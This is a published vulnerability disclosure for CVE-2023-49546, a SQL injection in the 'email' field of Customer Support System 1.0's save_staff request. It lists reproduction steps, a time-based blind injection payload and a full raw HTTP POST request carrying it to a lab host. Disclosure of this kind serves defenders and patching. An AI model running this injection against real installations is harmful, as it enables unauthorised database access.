Customer Support System 1.0 - SQL Injection Vulnerability in the "email" Parameter During "save_staff" Operation
Description: A SQL Injection vulnerability exists in version 1 of the Customer Support System. A malicious attacker can issue SQL commands to the MySQL database when creating/editing a staff user through the vulnerable parameter 'email'.
Vulnerable Product Version: Customer Support System 1.0
CVE Author: Geraldo Alcântara
Date: 28/11/2023
Confirmed on: 19/12/2023
CVE: CVE-2023-49546
Tested on: Windows
1- Log in to the application.
2- Navigate to the page /customer_support/index.php?page=new_staff to add a staff user or to /customer_support/index.php?page=staff_list to edit a staff user.
3- Create or edit a staff user and insert a malicious payload into "email" parameter.
payload: '+(select*from(select(sleep(2)))a)+'
POST /customer_support/ajax.php?action=save_staff HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------323911847618056921711360698406
Content-Length: 1327
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_staff
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="id"
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="firstname"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="middlename"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="lastname"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="contact"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="address"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="department_id"
1
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="email"
Teste2@Teste2.com'+(select*from(select(sleep(5)))a)+'
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="password"
teste
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="cpass"
teste
-----------------------------323911847618056921711360698406--
Discoverer(s)/Credits:
Geraldo Alcântara